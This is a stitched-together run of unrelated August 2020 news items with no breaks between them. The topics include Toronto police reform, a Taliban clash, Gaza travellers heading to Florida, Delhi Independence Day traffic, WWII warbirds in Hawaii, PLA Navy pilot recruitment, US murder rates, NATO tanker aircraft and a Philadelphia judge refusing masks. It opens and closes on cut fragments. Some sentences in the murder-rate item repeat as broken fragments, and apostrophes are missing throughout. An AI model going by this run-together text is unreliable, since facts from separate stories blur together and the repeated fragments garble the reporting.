people at risk. However, supporting the Russian vaccine breakthrough is Philippines President Rodrigo Duterte who said that he would volunteer to take the first shot of vaccine. "When the vaccine arrives, I will have myself injected in public. Experiment on me first, that's fine with me," he had said. Also read: COVID-19 vaccine: What is COVAX Facility and why does WHO want countries to join it? Also read: India should have coronavirus vaccine by December, says Adar Poonawalla After weeks of mounting calls for an overhaul of policing and amid a continental reckoning over anti-Black racism, the Toronto police board released a broad suite of recommendations Tuesday aimed at addressing systemic racism and changing how emergency mental health calls are handled. Lauded by Toronto Mayor John Tory as an ambitious series of reforms and dubbed a positive step by some community and mental health advocates, the 81 recommendations which include permanent anti-Black racism training and greater police accountability mechanisms was nonetheless called disappointing by those calling for dramatic changes including defunding police. Nothing they propose constitutes fundamental change: the police still have all of their money, all of their guns and all of their power, said Chris Williams, a member of the Toronto Police Accountability Coalition. This, to me, is still some window dressing but its a step forward, said Notisha Massaquoi, co-chair of the boards anti-racism advisory panel. She credited the board for conducting community consultations before drafting and releasing its recommendations, but noted the report will only be as good as the accountability measures that ensure theres action. The board report, which will be discussed at a meeting next week, does not directly act on impassioned demands to defund police namely, take money away from officers and put it to community services. In his report containing the recommendations, chair Jim Hart said the board cannot impose any arbitrary cut in the police budget, or make any cuts that compromise the ability to ensure policing services they are legally required to provide. The plan instead calls for a review and audit of the police budget, greater financial transparency including the immediate posting of a line-by-line breakdown of the 2020 budget and de-tasking measures Tory says absolutely have the potential to reduce spending on policing down the line. That includes the development of an alternate community safety model that removes police officers from responding to certain calls, including emergency mental health situations, and a requirement that the Toronto police detail potential reductions to the budget that would flow from a new model. We are going to identify the reforms, make them, and then transfer the money when we transfer the responsibility, Tory said in an interview Tuesday, saying he does not support arbitrary funding cuts but strongly believes the recommended changes will lead to police funding being reallocated. The Toronto police board report comes one-day after a highly disturbing Ontario Human Rights Commission report found Black people are more likely to be arrested, charged, injured and killed by Toronto police than white people and other racialized groups. In his report outlining the recommendations, Hart said acknowledged too many of our fellow residents experience the effects of systemic racism every day. While these actions are spread across a broad spectrum of areas, they represent different facets of a single holistic approach that the board has taken up to openly acknowledge and directly confront systemic racism in all its manifestations, Hart wrote of the recommendations. The report comes after Hart in June put forward a series of recommendations responding to calls for changes to policing, measures that were criticized as falling far short of calls for systemic change. In response, the board held a series of town hall meetings last month to hear from members of the public about the changes they want to see. The board has and will continue to examine and be informed by the submissions made during the town hall meetings, Hart wrote. The board will also continue to consult with the public on these issues and ensure that the public has opportunities to make its voices heard. Sandy Hudson, co-founder of Black Lives Matter Toronto, which has called for a 50 per cent reduction of the Toronto police budget, called the report theatrics, and said she did not see much change between the recommendations released Tuesday and the June report. They need to defund the police. Its the only thing thats going to work. Theyve already tried all these types of reforms, she said Tuesday. Dave Shellnutt, a Toronto lawyer who was among the members of the public to make deputations to the board during the town hall meetings, questioned the notion that Toronto police board cant make cuts to its budget when they arent adequately and effectively delivering services to countless members of our community. How can they maintain a budget that is failing citizens? Shellnutt said. John Sewell, former Toronto mayor and member of the Toronto Police Accountability Coalition, noted that the board will also soon discuss new spending on body cameras. Next week, the board will also discuss a report from former Toronto police chief Mark Saunders that recommended the approval of a five-year, $34-million contract for the purchase of body-worn cameras for front-line officers. If the board was listening to the calls for defunding made during the town hall meetings, you would have seen that reflected in this report, Sewell said. But the report does act directly on a June city council motion and a resounding request from members of the public repeated throughout the town hall last month: the creation of a nonpolice emergency service to answer mental health calls. In its report, Hart said this was a major theme of the recommendations and written submissions sent to the board, namely, an alternate model for mental health crisis calls, wellness checks and low-level disputes. While the board and others examine ways to create a new crisis response model which will include identifying the non-core policing calls currently handled by officers the board report recommends an expansion as soon as feasible of the mobile crisis intervention team, which pairs a Toronto police officer with a mental health nurse, to ensure they are available across the city, seven days a week, 24 hours a days. Tory said funding for the expanded team would come from the Toronto police 2020 budget, not new money allocated for the service. While this could represent a long-term alternative, it is more likely an interim measure while work is done on a response and support model for people in crisis which operates outside of the police service, Tory said. Rachel Bromberg, a mental health advocate, called the recommendation a really positive step. As stated in the report, people with lived experience must be on the front lines of designing and staffing the new team, she said. The report also proposes recommendations would require the province to change laws governing police services, including an expansion of the instances in which officers can be suspended without pay, including in cases where there are allegations of serious misconduct. Tory said he would be advocating for the changes if they are approved by the police services board, and that Premier Doug Ford and Solicitor General Sylvia Jones have expressed a willingness to seriously discuss these issues. Harts recommendations come after months of local and international protests have decried anti-Black racism within policing, with scores of demonstrators taking to the streets in response to police shootings of Black and Indigenous people. Recent months in the Greater Toronto Area have seen the Peel Regional Police shootings of 62-year-old Ejaz Choudry in June and 26-year-old DAndre Campbell in April, both while they were in mental distress. In Toronto, the death of 29-year-old Regis Korchinski-Paquet, who fell from her High Park highrise in the presence of police in May, has prompted significant criticism. Tory said Tuesday that many of the recommendations include tight deadlines for action. Ill be pressing to ensure that deadlines are set and they are met. I think its important that while we do these things carefully and constructively, that we do them and that were seen to do them, he said. Other recommendations include: Directing the Toronto police chief to develop a line-by-line approach to reviewing the police budget to identify opportunities for service delivery improvement and efficiencies, including the possible redirection of non-core policing functions and their associated funding to alternative nonpolice community safety providers. Bringing in the auditor general to perform audits aimed at improving service delivery, identify specific areas of success and specific areas for improvement within the service, and to find potential areas for savings and redistribution of funding. Publishing the requirements the board is seeking in the next Toronto police chief, and consulting with the citys Confronting Anti-Black Racism Unit and the Indigenous Affairs Office of the City of Toronto to ensure a rigorous community consultation process while the board seeks a new chief. Exploring ways to make both officer misconduct hearings, as well as the disciplinary tribunal proceedings, more transparent and accessible to the public. Directing the police chief to immediately implement anti-Black racism training a permanent component of the annual retraining for officers and civilian staff. Wendy Gillis is a Toronto-based reporter covering crime and policing for the Star. Reach her by email at wgillis@thestar.ca or follow her on Twitter: @wendygillis Read more about: Source: Xinhua| 2020-08-11 15:02:37|Editor: huaxia Video Player Close SARI PUL, Afghanistan, Aug. 11 (Xinhua) -- Eleven militants including a Taliban commander, Mullah Khalid, have been confirmed dead as clashes erupted in Sancharak district of the northern Sari Pul province on Monday, provincial police spokesman Noor Agha Faizi said Tuesday. The clashes, according to the official, erupted in Masjid-e-Sabz area of the restive district on Monday morning, lasting for a while, and the insurgents fled away after leaving 11 bodies behind including commander Khalid. Describing Khalid as notorious, the official asserted that the death of Khalid could prove to be a major setback to the insurgents in Sari Pul and its vicinity. Seven more militants were injured, the official added. Without hinting at the possible casualties of security personnel, Faizi said that police in conjunction with army would do their best to stabilize security in each corner of Sari Pul province. The Taliban outfit has yet to make comments. Enditem By Nidal al-Mughrabi RAFAH, Gaza Strip (Reuters) - Adria and Ayman Arafat are finally heading home to Florida after being stranded for months in the Gaza Strip by coronavirus-related restrictions but fear they will now face a much greater health risk. Gaza has seen only 81 cases of COVID-19 and just one death so far, partly a result of blockades imposed on the Palestinian territory by neighbouring Egypt and Israel, while Florida's infection rates are among the highest in the United States. The Arafats, who arrived in Gaza last December to visit relatives, are eager to get back to their four children in the United States and have taken advantage of Egypt's decision to briefly open its Rafah border crossing for departing Gazans and foreign passport holders for the first time since March. But Adria Arafat, who is a school principal in Panama City, Florida, admits to some sense of trepidation in heading back to Florida, which has so far recorded more than 530,000 COVID-19 cases and as of Monday 8,404 deaths. "That is scary, but as long as you take the precautions and you're careful ... you just have to trust in God and go from there," she said. Her husband Ayman, a businessman, added: "A part of me doesn't want to leave, but my children are there and like them we will have to cope, we have to." Citing security concerns, Israel and Egypt tightly restrict cross-border movement with Gaza, territory controlled by Hamas Islamists. Rafah is the only exit point for Gazans seeking to travel, via Egypt, to other countries. The blockades - condemned by rights groups as collective punishment - and stringent quarantine measures for anyone entering Gaza have together effectively stopped the coronavirus from spreading in the Strip, home to some two million people. The three-day reopening of Rafah will also allow Palestinians stranded by the pandemic in Egypt to return to Gaza. Local health officials have voiced concern that at least 20 percent of the 3,000 expected returnees could be infected. People crossing into Gaza will have to spend three weeks in quarantine and be tested for COVID-19. (Editing by Jeffrey Heller and Gareth Jones) Joe Biden celebrated today's double-digit polling lead by picking his veep: Kamala Harris. If he doesn't make it to 86 years old, she's set to be the first woman U.S. President. The National Association for the Advancement of Colored People (NAACP) said the appointment of Kamala Harris as Joe Biden's running mate is a "defining moment in U.S. history." "This moment is long overdue. For far too long, we have undervalued Black women's political power and their role in shaping our culture, communities, and country," Derrick Johnson, the president and CEO of the NAACP, said in the statement Tuesday. Ahead of the Independence Day function and the full dress rehearsal ceremony on August 13, the Delhi Police on Tuesday issued a traffic advisory to ensure safe and smooth vehicular movement across the national capital. According to the advisory, the traffic around Red Fort will remain closed for general traffic from 4 am to 10 am and only labelled vehicles will be permitted. Traffic restrictions for the full dress rehearsal on August 13 and for Independence Day function will remain same, police said. According to the advisory, eight roads -- Netaji Subhash Marg, Lothian Road, SP Mukherjee Marg, Chandni Chowk Road, Nishad Raj Marg, Esplanade Road and its Link Road to Netaji Subhash Marg, Ring Road from Rajghat to ISBT and Outer Ring Road from ISBT to IP flyover will be closed for the general public from 4 am to 10 am. Vehicles without parking labels for the rehearsal and the Independence Day function have been advised to avoid C-Hexagon India Gate, Copernicus Marg, Mandi House, Sikandra Road, Tilak Marg, Mathura Road, Bahadur Shah Zafar Marg, Subhash Marg, Jawaharlal Nehru Marg and the Ring Road between Nizamuddin Bridge and ISBT bridge. For north-south destinations -- commuters need to take alternative routes from Aurobindo Marg - Safdarjung Road, Connaught Place-Minto Road and Nizamuddin bridge to cross the Yamuna --Pushta Road- GT Road, it said. For east-west corridor, commuters will need to follow alternative routes from DND-NH24-Vikas Marg, Vikas Marg- DDU Marg, and Boulevard Road-Barfkhana, the traffic advisory stated. Geeta Colony Bridge will be closed towards Shantivan and vehicles will not be permitted on lower Ring Road from ISBT Kashmere Gate towards Shantivan and from IP flyover towards Rajghat, it stated. Goods vehicles will be prohibited between Nizamuddin bridge and Wazirabad bridge from 12 midnight of August 12 to 11 am on August 13 and the same will be applicable for the Independence Day from 12 midnight of August 14 to 11 am on August 15. According to the traffic police, inter-state buses will not be allowed between Maharana Pratap ISBT and Sarai Kale Khan ISBT from 12 midnight to 11 am on August 13 and the same will be followed for August 15. City buses, including the ones operated by DTC, will not ply on Ring Road from 12 midnight to 11 am on August 13, between ISBT to NH-24/NH T-point on Ring Road and take alternative routes available on the Independence Day as well, the advisory said. These buses may use GT Road, Wazirabad Road and NH-24. Routes of buses terminating at Red Fort, Jama Masjid and Delhi main railway station will be curtailed or diverted, it said, adding that normal bus service will be restored after 10 AM. Alternative routes will remain open to railway stations, bus stations and hospitals near the venue of Independence Day function, the police said. We have all watched in fascination over the past week or so as fourteen WWII-era aircraft were loaded aboard LHD 2 USS Essex for the journey to Hawaii to take part in 75th anniversary celebrations for the end of WWII in the Pacific. At a press conference on August 5th, Co-Chairs of the 75th Commemoration of the End of WWII announced the pending arrival of these classic combat aircraft which are slated to participate in Oahu flyovers as part of the celebratory events. The airplane arrived at Pearl Harbor yesterday aboard USS Essex (LHD 2). The fourteen historic airplanes are scheduled to conduct a series of flyovers around Oahu on Aug. 29 and 30, and in conjunction with the Sept. 2 ceremony aboard the Battleship Missouri Memorial. Salute Their Service, Honor Their Hope is the theme for the Commemorations in Hawaii in recognition of the veterans and civilians who participated in WWII and contributed to the actions that led to the end of the war. The 75th Commemoration of the End of WWII will include three Legacy of Peace Aerial Parades and will culminate with the Official 75th WWII Commemoration Ceremony on September 2nd. Warbird flyovers will be as follows: August 29th, Around Oahu; August 30th, Connecting the Military Bases; and September 2nd, Fly Over the Battleship Missouri Memorial, and Pearl Harbor to Waikiki. The Commemoration is supported in part by the generosity of sponsors including the national presenting sponsor, Linda Hope who represents the Bob Hope Legacy as part of the Bob & Dolores Hope Foundation. We are honored to join the State of Hawaii in supporting the 75th Commemoration series of events. The World War II Warbird aerial performances are a symbolic reminder of our Greatest Generations will and determination that ultimately led to victory. Indeed, the legacy of our World War II heroes lives on in the Pacific, said ADM Phil Davidson, Commander of U.S. Indo-Pacific Command. At the press conference, organizers provided updates on the 75th Commemoration events, as well as detailed measures that will be implemented to ensure the safety of WWII veterans and their guardians; warbird crews; Hawaii, U.S. and Foreign dignitaries; media; and our community. For our WWI veterans and their guardians joining us from the U.S. Mainland or the Neighbor Islands, Southwest Airlines is the exclusive airline partner. 75th Commemoration Committee Co-Chairs, Maj Gen Darryll Wong, USAF (Ret) and Capt Steve Colon, USN (Ret) were joined by committee members, all of whom have worked diligently to create commemoration programs and events to honor the heroes of our Greatest Generation who fought on the battlefield and served on the home front. This 75th WWII Commemoration is especially significant because of the role all of our islands played in the efforts to help bring global peace, and our historic connections with the military, then and now, stated Co-Chairs Maj Gen Darryll Wong, USAF (Ret) and Capt Steve Colon, USN (Ret). Our primary efforts are focused on WWII veterans from around the islands and outside Hawaii, who are passionate and driven to be here to commemorate the end of WWII 75 years ago. Some details about the herculean efforts from multiple civilian and military organizations to coordinate, manage and transport the Warbirds to Hawaii were shared. More information about each aircraft, owners, pilots, and images will soon be available on the official commemoration website. For many of our WWII veterans, these Warbirds hold very special significance, unleashing memories that, in many cases, they never shared, stated Elissa Lines, Executive Director of Pearl Harbor Aviation Museum. To have these Warbirds in Hawaii, flying over the very deck of the USS Missouri where the Instrument of Surrender was signed on September 2, 1945 ending this global conflict, to honor all WWII veterans, is a tribute that will live on in the hearts of all who see it. We cant thank the DoD and our U.S. Navy enough for making this possible. The Warbirds arriving in Honolulu on August 10th will include: A North American SNJ/AT- 6 Texan which was the most widely used advanced training aircraft in the allied inventory and will be piloted by John Johnson. Four AT-6 Texans will be piloted by Kim Middleton, Jason Karlin, Joe Fisher, and Bruce Graham. A North American B-25 Mitchell owned by David Prescott, represents a medium bomber used by almost all Allied air forces. B-25 bombers were used in the famous Doolittle Raid on Tokyo. Michael Polley will pilot a Grumman FM-2 Wildcat that was a carrier and land-based fighter flown by the U.S. Navy and Marines in battles such as Guadalcanal, the Coral Sea, Midway and the Solomons. A Grumman F8F Bearcat, owned by John OConnor was the next generation of Grumman fighters. While they didnt see combat during WWII, they were just becoming operational at wars end. The type is still considered one of the foremost piston-engine fighter designs of the WWII era. A Boeing-Stearman Model 75 was the type of aircraft most widely used primary training aircraft in WWII. More than 10,000 were built. Later, many civilians purchased them to use them for crop dusting and aerobatic demonstrators. Dustin Mosher will fly the Stearman. Grumman TBM Avenger, brought into service in 1942, Avengers were the primary US Navy torpedo bombers in WWII and were used for the first time at the Battle of Midway in early June, 1942. The TBM taking part is provided by Bruce Graham. Kendall Wagner will fly a North American P-51D Mustang which excelled as a long-range, high altitude bomber escort. The Mustang became well-known for escorting the bombers over Europe and was one of the first escort fighters over Berlin. Two Consolidated/Boeing Canada PBY Catalina, made possible by Cory Pfaff and John OConnor, were primarily used for long range patrol and reconnaissance missions, anti-submarine warfare, as well as search and rescue. Thirty three Catalinas were destroyed during the December 7th, 1941 attack on Pearl Harbor, leaving only 6 serviceable examples on the islands after the Imperial Japanese Navy departed the area. A new type of high-performance trainer emerged following WWII, as our air technology exploded. The piston-engined North American T-28 Trojan served with the U.S. Air Force, Navy and Marines beginning in the early 1950, and proved a successful ground attack aircraft in a variety of conflicts too. Dan Hill will pilot the T-28 coming to Hawaii aboard USS Essex. More details and updates are available by visiting the official website at 75thwwiicommemoration.org Many thanks indeed to Taigh Ramey who provided a number of photos for this article. Taigh had hoped to be bringing his Lockheed P2V Harpoon aboard Essex for the journey to Hawaii, but sadly mechanical issues made this impractical. Even so he helped to load the other aircraft safely aboard the carrier. WASHINGTON A final report by the office of the State Department Acting Inspector General found Secretary of State Mike Pompeos emergency certification on arms sales to Gulf Arab states including Saudi Arabia last year did not break the law, a senior department official said on Monday. The officials comments - made before the report was made public - came after President Donald Trump abruptly fired then-Inspector General Steve Linick, who was looking into Pompeos certification, in May. Linick was succeeded by Stephen Akard, who resigned from his post last week after recusing himself from the arms sales investigation. The final report was completed by Akards deputy, Diana Shaw. Linick was the fourth government inspector general ousted by the Republican president in recent months, raising concern among Democrats and some of his fellow Republicans in Congress about curtailment of oversight. In a statement, Representative Eliot Engel, the Democratic chairman of the House of Representatives Foreign Affairs Committee, said he was concerned that the State Department had discussed the report before it was released. The people briefing the press were the subjects of the IGas probe, not the reportas authors. This obvious pre-spin of the findings reeks of an attempt to distract and mislead," Engel said. Congressional committees have been investigating Linicks firing. The department official, who spoke on the condition of anonymity, said the Inspector Generals final report found no wrongdoing in Pompeos execution of the administrations decision to declare a national emergency" to justify $8 billion in military sales to Saudi Arabia despite congressional objections. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Photo: Xinhua About 16,000 people signed up for the Chinese People's Liberation Army (PLA) Navy's recently completed annual pilot recruitment drive, and among those who have passed the tests to become pilot cadets, nearly half will be trained to fly aircraft carrier-based fighter jets in the coming years. This is expected to satisfy China's future aircraft carrier programs. Experts said on Monday that the ratio indicates China's ambitions in aircraft carrier development, as the country could operate three or more aircraft carriers in the near future, which need more pilots. The PLA Navy recently wrapped up the 2020 pilot recruitment drive, during which none was infected by the novel coronavirus, thanks to nucleic acid testing and optimized procedures, China Central Television (CCTV) reported on Sunday. A large batch of talent among the 16,000 registered applicants emerged after several selections, the report said, without elaborating further on the number of applicants who were eventually enrolled in the pilot training program. Chu Hanqiang, director of the PLA Navy Pilot Recruitment Office, was quoted as saying in the report that 49 percent of the enrolled candidates will become aircraft carrier-based fighter jet pilot cadets, and this should satisfy the development of aircraft carriers. "In the past, most Navy Aviation Force pilot cadets were trained to fly ground-based fighter jets and bombers," Li Jie, a Beijing-based naval expert, told the Global Times on Monday. The significant increase in the ratio for aircraft carrier-based fighter jet pilot cadets indicates that China will operate not only two aircraft carriers, Li said. Forbes reported in July that China's third aircraft carrier is being assembled in a dry dock in Shanghai's Jiangnan Shipyard. Military observers expect the new aircraft carrier to be much larger and carry more aircraft than China's previous two, the Liaoning and the Shandong. Cadets will study for four years and potentially continue to train on advanced trainer aircraft, the website of the Navy's pilot recruitment program said. This means this batch could join active service when the third aircraft carrier is commissioned, observers said. Li said that in addition to aircraft carrier-based fighter jets, the PLA Navy also needs more pilots for vessel-based helicopter pilots, as China recently launched two Type 075 amphibious assault ships and each has the potential to carry about 30 helicopters. Other warships, including Type 055 and Type 052D destroyers, also host helicopters, Li noted. Curt Bradford is an insurance agent who has been licensed in more than twenty states, an avid outdoorsman, and a devoted volunteer serving a variety of philanthropic organizations who resides in Stafford County, Virginia, where he remains active in Aquia Episcopal Church. He has published his new book Off the Beaten Path: My Search for Sasquatch and Self: a compelling account of his forays into ancient Pacific forests in his search for bigfoot. Join Curt Bradford on his personal quest for the unknown. Captivated by the mystery of sasquatches as a child and frightened by the possible existence of such creatures, he decides at age twenty-seven to leave Virginia and travel three thousand miles away to the great Pacific Northwest in search of the truth. Before he can get off the beaten path to look for evidence of sasquatches in the forests of Oregon, he must first gain a foothold in Portland, the states most populous city, and begin a new position in the insurance world. The legend of the sasquatch was not his only interest. The reader is treated to stories of a friends beautiful wedding in Napa Valley, newfound friendships with Peruvians, and visits to some of the most awe-inspiring natural areas in America. Get a behind-the-scenes look into the adventures of a bigfoot seeker who must find within himself the courage to face down alone one of his greatest fearsthe sasquatch. Published by Page Publishing, Curt Bradfords engrossing book is an entertaining memoir and a must-read for sasquatch fans of all ages. Readers who wish to experience this engaging work can purchase Off the Beaten Path: My Search for Sasquatch and Self at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. The murder rate across 20 major U.S. cities at the end of June was 37% higher on average than in late May, the New York Times reports, citing a criminologist at the University of Missouri-St. Louis. The big picture: Massive unemployment, backlogs in the courts and limited access to social services caused by COVID-19 lockdowns contributed to the spike in violence. Crime overall is down in many cities, "except murder, aggravated assault and in some places, car theft," the Times notes. By the numbers: Homicide and violent crime are up in several cities across the country. Kansas City has reported 122 homicides for the year as of Tuesday, per the city's police department. Last year, the city reported 148 homicides for the entire year. has reported 122 homicides for the year as of Tuesday, per the city's police department. Last year, the city reported 148 homicides for the entire year. Chicago's police department has recorded at least 450 murders so far this year, compared to 291 for all of 2019. police department has recorded at least 450 murders so far this year, compared to 291 for all of 2019. New York City saw a 130% increase in shooting incidents from June 1 to June 30, per the NYPD. saw a 130% increase in shooting incidents from June 1 to June 30, per the NYPD. In Detroit, 273 homicides were committed last year, per the police department. At least 450 homicides have been logged this year, per the city's police department data. 273 homicides were committed last year, per the police department. At least 450 homicides have been logged this year, per the city's police department data. Milwaukee has seen a 24% year-to-date increase in homicides from this time last year. What they're saying: Im sure there will be academic studies for years to come as to what caused the spike of 2020, Tim Garrison, U.S. Attorney for the Western District of Missouri, told the Times. Im sure the lockdown didnt help. When you already have a stressed economic situation and you put a lot of folks out of work, and a lot of teenagers out of school, its a volatile situation. GREENWOOD VILLAGE, Colo., Aug. 11, 2020 /PRNewswire/ -- Linea Software, a consulting firm, today announced a major brand launch to reflect the company's focus into an all-encompassing, healthcare IT (HIT) custom software development consultancy. The brand launch includes a new company website, user experience (UX), engaging imagery, and communications with the assistance of Cranium, Healthcare Brand Marketing, also based in Denver, Colorado. Linea's new brand assets include a minimalist logo, along with a new clean-and-simple website and other visual communications that place focus on the tenants of the company and inspiring real-time, human engagement. D. Austin, Partner at Linea, said, "The healthcare sector has been experiencing tremendous growth and transformation over the past few years, with a need to continue investment in new technologies and solutions to attract, inform and provide care to their patient and member populations. "As the global pandemic pushed healthcare organizations to invest in, develop and adopt new technologies more rapidly than ever before, the existing gaps between technical innovation, cybersecurity resilience and data privacy continue to be areas of concern," adds Austin. "Our strategy and vision for execution have always been to create rock-solid, innovation-inspired solutions well integrated into our culture of security at each stage of the software development life cycle. We've established a stellar team with work experiences from some of the world's most well-known technology and healthcare brands. Our subject matter expertise in delivering commercially available software gives Linea an ability to design, develop and advise healthcare organizations in their quest to drive better health care outcomes and experiences for their patients, members, consumers, and customers." Austin adds that the company's focus is on human-centered interactions with a goal to balance technology with managing clinical risks, ultimately enabling better outcomes while creating a more genuine connection between the brand and clients. In order to link all of Linea's capabilities and experiences, we have developed a forward-thinking approach that identifies strategic use cases for improvements to current, real-world opportunities for imagining care and information dissemination. Karyn Entzion, M.S., healthcare subject matter expert and thought leader, applauded Linea's entrance into the healthcare IT space. "Linea will help deliver technology solutions that will transform healthcare to deliver better health outcomes, contain costs, and improve the consumer experience." About Linea Linea Software is a Denver-based custom software development firm founded on the principle of empowering healthcare visionaries to do great things. We provide innovation-inspired custom software development for the healthcare industry. Linea's mission is to help humanity by creating useful software to further health care solutions. Whether the need for short- or long-term software solutions arise out of a vision or a business issue, our extensive knowledge, innovative services, and personal attention make us indispensable to our clients while providing them with success and peace of mind. Contact Info: Name: D. Austin, Partner Organization: Linea, LLC, A NexGen Group Affiliate Company URL: https://linea.co Address: 5251 DTC Parkway, Suite 800, Greenwood Village, CO 80111 Phone: +1 303-923-2201 SOURCE Linea Software Related Links http://www.linea.co E Meindeg krut dNato-Agence NSPA en zweeten Airbus-Fliger ausgeliwwert, fir strateegesch Transport-Operatiounen, wei och dBetanken an der Loft. Dat ganzt ass Deel vum sougenannten MRTT-Programm, wat fir multinational Multi-Role Tanker Transport steet. Och Letzebuerg ass Deel dovunner, zesumme mat 5 aneren Natiounen: der Belsch, Holland, Norwegen, Daitschland an der tschechescher Republik. Am ganze ginn et bis Enn 2024 8 esou Fligeren, dei vun der Nato kennen agesat ginn. Am Juli 2016 gouf de Programm vum Grand-Duche an Holland lanceiert. DFligere waerten zu Eindhoven an zu Koln stationeiert ginn. Great news for our MMF partner nations After completing its acceptance process, our second Multinational MRTT Fleet (MMF) aicraftis in the air & will be soon welcomed by the @A330_MMU at its home base in Eindhoven More info: https://t.co/7ysTxX34d6 pic.twitter.com/DDcpib82Gs NATO Support and Procurement Agency (@NSPA_NATO) August 10, 2020 Offiziellt Schreiwes NSPA delivers second MMF aircraft to the Multinational MRTT Unit The Multinational Multi-Role Tanker Transport (MRTT) fleet will soon enter into service to provide strategic transport, air-to-air refuelling and medical evacuation capabilities to its six participating nations (Belgium, the Czech Republic, Germany, Luxembourg, The Netherlands and Norway), demonstrating a best practice example of multi-national cooperation. The first aircraft was delivered on 30 June 2020 and has been performing training missions for the unit for the last weeks. Now, it will undergo a routine maintenance check (A-check). The third, fourth and fifth aircraft are currently under conversion at the Airbus DS facilities and the rest of the fleet will follow until the end of 2024. The full fleet will consist of eight Multi-role tanker transport aircraft, with an option to extend the contract up to 11 aircraft in the future. The aircraft are owned by NATO and managed by the NATO Support and Procurement Agency (NSPA) with the support of the Organization for Joint Armament Cooperation (OCCAR) on the acquisition phase. Background In 2012, the European Defence Agency (EDA) started to address the long-standing European shortfall in the air-to-air refuelling capacity. Since then, this initiative has grown into a mature programme managed by the NATO Support and Procurement Agency (NSPA), on behalf of the nations. The Netherlands and Luxembourg initially launched the programme in July 2016, with the first as the lead nation of the project. Germany and Norway joined in 2017, Belgium followed in early 2018 and Czech Republic lastly joined the MMF programme in October 2019. The MMF aircraft will be operated by the Multinational Multirole Tanker Transport Unit (MMU) comprising of military personnel from the participating countries. The unit is based in two permanent operating bases, the Main Operating Base in Eindhoven and the Forward Operating Base in Cologne-Wahn (Germany). Among the eight MMF aircraft, five will be based in Eindhoven, and three in Cologne. Common Pleas Judge James Murray Lynn in 2001. Lynn has repeatedly refused to wear a mask while on the bench, drawing the ire of prosecutors and lawyers with the Defender Association of Philadelphia. Read more Philadelphia Common Pleas Court Judge James Murray Lynn has repeatedly refused to wear a mask while sitting on the bench, despite pleas from prosecutors, defense lawyers, and witnesses who have expressed concerns about their health and safety. And according to a written complaint obtained by The Inquirer, the veteran judge has ordered others to remove their masks while in his courtroom. It has come to the attention of our offices that Judge Lynn continues to refuse to wear a mask while operating in-person hearings, wrote Alan J. Tauber, first assistant at the Defender Association of Philadelphia, in a letter dated Friday, to Margaret Murphy, administrative judge for the Family Division, where Lynn sits. We believe this safety breach needs to be addressed expeditiously. Not only was he not wearing a mask, but he was actively ordering counsel to remove their masks while litigating, Tauber wrote on behalf of both public defenders and prosecutors in the District Attorneys Office. Lynn, 72, was first elected to the court in 1991, and won retention elections in 2001 and 2011, despite the Philadelphia Bar Associations rating him not recommended both times. His term ends in 2021. Last year, the Philadelphia Coalition for Victim Advocacy presented an award to him for his tireless work in Family Court on behalf of crime victims. Lynn did not return two messages left by a reporter Tuesday at his chambers. Tensions over mask-wearing in Philadelphia courtrooms have increased in recent days as court and judicial administrators slowly and cautiously resumed some in-person proceedings after the coronavirus shuttered courts in March. Stakeholders are still debating how best to safeguard people during jury trials as the citys COVID-19 infection rate decreases, but fears surrounding indoor activities remain. In his letter to Murphy, Tauber noted that Lynns avoidance of masks runs contrary to a July 1 order from the state Department of Health that requires face coverings in any indoor location where members of the public are generally permitted, and is out of step with the First Judicial Districts own safety requirements. A sign indicating that masks are required is posted at the door leading into Lynns courtroom, Tauber wrote. Some Criminal Court employees have been admonished for not wearing masks, prompting written reminders from supervisors that face coverings are a must, according to emails shared with The Inquirer. Please take time to announce at the start of every court session the need for participants to practice social distancing while in the courtroom and that masks must be worn at all times, unless a specific request is made to the court, Supervising Judge Leon Tucker wrote in a July 29 email to Criminal Court judges. Some courtrooms are already equipped with safety plastic glass, including a plastic box recently constructed around the bench in Lynns courtroom, 5F, where he routinely handles cases involving criminal abuse of children in Family Court at 15th and Arch Streets. In response to questions from The Inquirer, Murphys spokesperson, Martin ORourke, said Lynns presiding chair in his courtroom is positioned three feet behind a recently installed multisided plexiglass separation. ORourke added that lawyers and clients sit at least 15 feet away from Lynn and that Murphy has been in talks with lawyers with the defenders and district attorneys offices to resolve their concerns. ORourke said that Lynn asked one lawyer to pull down his mask while he was talking because he could not hear him. And, ORourke said, the state Health Department order provides exceptions to wearing masks and permits judges to use their discretion during proceedings where someone is required to speak (e.g., attorneys, witnesses, the judge) and to be heard intelligibly. Taubers letter to Murphy details six instances since July 29 in which Lynn refused or failed to wear a mask. On Aug. 5, for example, Lynn held a preliminary hearing in a domestic violence case. Assistant District Attorney Liz Hines said she was ready to proceed with witnesses and asked Lynn if he planned to put on a mask. When Lynn said no, Hines left the courtroom to talk to the witnesses, who said they did not feel comfortable coming into the courtroom to testify if the judge was not going to be wearing a mask, according to Taubers letter. Lawyers agreed to waive the preliminary hearing so witnesses did not have to testify before Lynn that day. Hines and Tauber declined to comment. President of the Swiss Confederation Simonetta Sommaruga has sent a gratitude letter to Ukrainian President Volodymyr Zelensky following her trip to Donbas, the press service of the head of state has reported. In her letter, Sommaruga thanked Zelensky for the warm welcome in Kyiv, the trust and a joint visit to the contact line in Donbas. "This field trip with you has left me with a lasting impression. Seeing mothers and children pushing carts fully loaded with goods and luggage across this bridge (in Stanytsia Luhanska) between two mine fields has strengthened my conviction that the conflict must end for the sake of the civilian population on both sides. I was impressed by your courage, your vision and your resolve to tackle the challenges your country is facing today," Sommaruga wrote. She noted the activities of the Ukrainian government, in particular, actions to regain full control of Ukraine's territory. "After talking to members of your government and exchanging ideas with young representatives of Ukrainian civil society and the private sector, I am confident that your country has a bright, democratic and prosperous future in Europe," Sommaruga said. She said that Ukraine can count on the support of the Swiss Confederation in advancing reforms and peacefully restoring Ukraine's territorial integrity in accordance with international law. "Please consider Switzerland as a trusted partner in these endeavors," the letter said. On July 23, 2020, during their trip to Donbas, Zelensky and Sommaruga inspected a pedestrian bridge over the Siversky Donets River and got acquainted with the work of the Stanytsia Luhanska checkpoint. op Experts cite pilots' wrong decision 